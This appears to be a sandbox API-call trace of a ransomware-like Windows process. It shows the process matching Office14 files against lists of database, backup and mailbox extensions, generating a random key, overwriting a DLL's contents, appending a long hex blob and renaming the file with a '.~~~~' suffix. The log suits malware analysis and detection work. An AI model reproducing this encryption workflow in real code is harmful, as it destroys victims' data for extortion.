	[0080.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".DBV") returned 0x0
	[0080.085] lstrlenW (lpString=".dacpac") returned 7
	[0080.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".dacpac") returned 0x0
	[0080.085] lstrlenW (lpString=".sdf") returned 4
	[0080.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".sdf") returned 0x0
	[0080.085] lstrlenW (lpString=".accdb") returned 6
	[0080.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".accdb") returned 0x0
	[0080.085] lstrlenW (lpString=".DBX") returned 4
	[0080.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".DBX") returned 0x0
	[0080.085] lstrlenW (lpString=".MDT") returned 4
	[0080.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".MDT") returned 0x0
	[0080.085] lstrlenW (lpString=".SQB") returned 4
	[0080.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".SQB") returned 0x0
	[0080.085] lstrlenW (lpString=".vhd") returned 4
	[0080.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".vhd") returned 0x0
	[0080.085] lstrlenW (lpString=".bac") returned 4
	[0080.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".bac") returned 0x0
	[0080.085] lstrlenW (lpString=".mdf") returned 4
	[0080.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".mdf") returned 0x0
	[0080.086] lstrlenW (lpString=".BAK") returned 4
	[0080.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".BAK") returned 0x0
	[0080.086] lstrlenW (lpString=".BAC") returned 4
	[0080.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".BAC") returned 0x0
	[0080.086] lstrlenW (lpString=".dbs") returned 4
	[0080.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".dbs") returned 0x0
	[0080.086] lstrlenW (lpString=".vhdx") returned 5
	[0080.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".vhdx") returned 0x0
	[0080.086] lstrlenW (lpString=".NDF") returned 4
	[0080.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".NDF") returned 0x0
	[0080.086] lstrlenW (lpString=".dat") returned 4
	[0080.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".dat") returned 0x0
	[0080.086] lstrlenW (lpString=".DBS") returned 4
	[0080.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".DBS") returned 0x0
	[0080.086] lstrlenW (lpString=".CKP") returned 4
	[0080.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".CKP") returned 0x0
	[0080.086] lstrlenW (lpString=".edb") returned 4
	[0080.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".edb") returned 0x0
	[0080.086] lstrlenW (lpString=".PST") returned 4
	[0080.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".PST") returned 0x0
	[0080.086] lstrlenW (lpString=".dbf") returned 4
	[0080.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".dbf") returned 0x0
	[0080.086] lstrlenW (lpString=".SQL") returned 4
	[0080.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".SQL") returned 0x0
	[0080.086] lstrlenW (lpString=".pst") returned 4
	[0080.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".pst") returned 0x0
	[0080.086] lstrlenW (lpString=".dbv") returned 4
	[0080.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".dbv") returned 0x0
	[0080.087] lstrlenW (lpString=".SDF") returned 4
	[0080.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".SDF") returned 0x0
	[0080.087] lstrlenW (lpString=".dtxs") returned 5
	[0080.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".dtxs") returned 0x0
	[0080.087] lstrlenW (lpString=".db3") returned 4
	[0080.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".db3") returned 0x0
	[0080.087] lstrlenW (lpString=".OST") returned 4
	[0080.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".OST") returned 0x0
	[0080.087] lstrlenW (lpString=".dbx") returned 4
	[0080.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".dbx") returned 0x0
	[0080.087] lstrlenW (lpString=".DB3") returned 4
	[0080.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".DB3") returned 0x0
	[0080.087] lstrlenW (lpString=".DAT") returned 4
	[0080.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".DAT") returned 0x0
	[0080.087] lstrlenW (lpString=".VHDX") returned 5
	[0080.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".VHDX") returned 0x0
	[0080.087] lstrlenW (lpString=".ndf") returned 4
	[0080.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".ndf") returned 0x0
	[0080.087] lstrlenW (lpString=".DB") returned 3
	[0080.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".DB") returned 0x0
	[0080.087] lstrlenW (lpString=".sql") returned 4
	[0080.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".sql") returned 0x0
	[0080.087] lstrlenW (lpString=".MYD") returned 4
	[0080.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".MYD") returned 0x0
	[0080.087] lstrlenW (lpString=".DBT") returned 4
	[0080.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".DBT") returned 0x0
	[0080.087] lstrlenW (lpString=".ACCDB") returned 6
	[0080.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".ACCDB") returned 0x0
	[0080.088] lstrlenW (lpString=".fdb") returned 4
	[0080.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".fdb") returned 0x0
	[0080.088] lstrlenW (lpString=".bak") returned 4
	[0080.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".bak") returned 0x0
	[0080.088] lstrlenW (lpString=".myd") returned 4
	[0080.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".myd") returned 0x0
	[0080.088] lstrlenW (lpString=".DTXS") returned 5
	[0080.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".DTXS") returned 0x0
	[0080.088] lstrlenW (lpString=".ckp") returned 4
	[0080.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".ckp") returned 0x0
	[0080.088] lstrlenW (lpString=".dbt") returned 4
	[0080.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".dbt") returned 0x0
	[0080.088] lstrlenW (lpString=".db") returned 3
	[0080.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".db") returned 0x0
	[0080.088] lstrlenW (lpString=".TXT") returned 4
	[0080.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".TXT") returned 0x0
	[0080.088] lstrlenW (lpString=".MDF") returned 4
	[0080.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".MDF") returned 0x0
	[0080.088] lstrlenW (lpString=".bdb") returned 4
	[0080.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".bdb") returned 0x0
	[0080.088] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0080.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.088] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0080.089] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.090] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0080.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0080.090] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20007983060) returned 1
	[0080.090] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9996f030, dwHighDateTime=0x1d60e1e)) 
	[0080.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0080.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0080.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0080.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b020
	[0080.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b020 | out: hHeap=0x300000) returned 1
	[0080.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb8c8
	[0080.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.090] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0080.091] GetLastError () returned 0x0
	[0080.091] GetLastError () returned 0x0
	[0080.091] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0080.091] GetLastError () returned 0x0
	[0080.091] GetLastError () returned 0x0
	[0080.093] ReadFile (in: hFile=0x134, lpBuffer=0x37b730, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.238] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.238] WriteFile (in: hFile=0x134, lpBuffer=0x37b730*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37b730 | out: hHeap=0x300000) returned 1
	[0080.239] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.239] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.298] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.298] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.298] CloseHandle (hObject=0x134) returned 1
	[0080.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.298] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.~~~~")) returned 1
	[0080.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0080.299] GetLastError () returned 0x0
	[0080.300] RtlWakeConditionVariable () returned 0x365f70
	[0080.300] GetCurrentThreadId () returned 0xaf0
	[0080.300] GetCurrentThreadId () returned 0xaf0
	[0080.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7330 | out: hHeap=0x300000) returned 1
	[0080.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bb30 | out: hHeap=0x300000) returned 1
	[0080.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b7330
	[0080.300] lstrlenW (lpString=".scr") returned 4
	[0080.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".scr") returned 0x0
	[0080.300] lstrlenW (lpString=".cmd") returned 4
	[0080.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".cmd") returned 0x0
	[0080.300] lstrlenW (lpString=".dll") returned 4
	[0080.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".dll") returned 0x0
	[0080.300] lstrlenW (lpString=".bat") returned 4
	[0080.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".bat") returned 0x0
	[0080.300] lstrlenW (lpString=".cpl") returned 4
	[0080.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".cpl") returned 0x0
	[0080.300] lstrlenW (lpString=".sys") returned 4
	[0080.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".sys") returned 0x0
	[0080.301] lstrlenW (lpString=".msc") returned 4
	[0080.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".msc") returned 0x0
	[0080.301] lstrlenW (lpString=".com") returned 4
	[0080.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".com") returned 0x0
	[0080.301] lstrlenW (lpString=".lnk") returned 4
	[0080.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".lnk") returned 0x0
	[0080.301] lstrlenW (lpString=".msp") returned 4
	[0080.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".msp") returned 0x0
	[0080.301] lstrlenW (lpString=".pif") returned 4
	[0080.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".pif") returned 0x0
	[0080.301] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch="msp\r\n.pif") returned 0x0
	[0080.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0080.302] lstrlenW (lpString=".sqb") returned 4
	[0080.302] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".sqb") returned 0x0
	[0080.302] lstrlenW (lpString=".ost") returned 4
	[0080.302] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".ost") returned 0x0
	[0080.302] lstrlenW (lpString=".txt") returned 4
	[0080.302] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".txt") returned 0x0
	[0080.302] lstrlenW (lpString=".mdt") returned 4
	[0080.302] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".mdt") returned 0x0
	[0080.302] lstrlenW (lpString=".BDB") returned 4
	[0080.302] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".BDB") returned 0x0
	[0080.302] lstrlenW (lpString=".eql") returned 4
	[0080.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".eql") returned 0x0
	[0080.303] lstrlenW (lpString=".DBF") returned 4
	[0080.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".DBF") returned 0x0
	[0080.303] lstrlenW (lpString=".EQL") returned 4
	[0080.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".EQL") returned 0x0
	[0080.303] lstrlenW (lpString=".FDB") returned 4
	[0080.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".FDB") returned 0x0
	[0080.303] lstrlenW (lpString=".EDB") returned 4
	[0080.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".EDB") returned 0x0
	[0080.303] lstrlenW (lpString=".DACPAC") returned 7
	[0080.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".DACPAC") returned 0x0
	[0080.303] lstrlenW (lpString=".VHD") returned 4
	[0080.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".VHD") returned 0x0
	[0080.304] lstrlenW (lpString=".DBV") returned 4
	[0080.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".DBV") returned 0x0
	[0080.304] lstrlenW (lpString=".dacpac") returned 7
	[0080.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".dacpac") returned 0x0
	[0080.304] lstrlenW (lpString=".sdf") returned 4
	[0080.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".sdf") returned 0x0
	[0080.304] lstrlenW (lpString=".accdb") returned 6
	[0080.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".accdb") returned 0x0
	[0080.304] lstrlenW (lpString=".DBX") returned 4
	[0080.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".DBX") returned 0x0
	[0080.304] lstrlenW (lpString=".MDT") returned 4
	[0080.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".MDT") returned 0x0
	[0080.304] lstrlenW (lpString=".SQB") returned 4
	[0080.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".SQB") returned 0x0
	[0080.304] lstrlenW (lpString=".vhd") returned 4
	[0080.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".vhd") returned 0x0
	[0080.304] lstrlenW (lpString=".bac") returned 4
	[0080.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".bac") returned 0x0
	[0080.304] lstrlenW (lpString=".mdf") returned 4
	[0080.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".mdf") returned 0x0
	[0080.304] lstrlenW (lpString=".BAK") returned 4
	[0080.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".BAK") returned 0x0
	[0080.304] lstrlenW (lpString=".BAC") returned 4
	[0080.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".BAC") returned 0x0
	[0080.305] lstrlenW (lpString=".dbs") returned 4
	[0080.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".dbs") returned 0x0
	[0080.305] lstrlenW (lpString=".vhdx") returned 5
	[0080.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".vhdx") returned 0x0
	[0080.305] lstrlenW (lpString=".NDF") returned 4
	[0080.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".NDF") returned 0x0
	[0080.305] lstrlenW (lpString=".dat") returned 4
	[0080.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".dat") returned 0x0
	[0080.305] lstrlenW (lpString=".DBS") returned 4
	[0080.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".DBS") returned 0x0
	[0080.305] lstrlenW (lpString=".CKP") returned 4
	[0080.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".CKP") returned 0x0
	[0080.305] lstrlenW (lpString=".edb") returned 4
	[0080.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".edb") returned 0x0
	[0080.305] lstrlenW (lpString=".PST") returned 4
	[0080.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".PST") returned 0x0
	[0080.305] lstrlenW (lpString=".dbf") returned 4
	[0080.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".dbf") returned 0x0
	[0080.305] lstrlenW (lpString=".SQL") returned 4
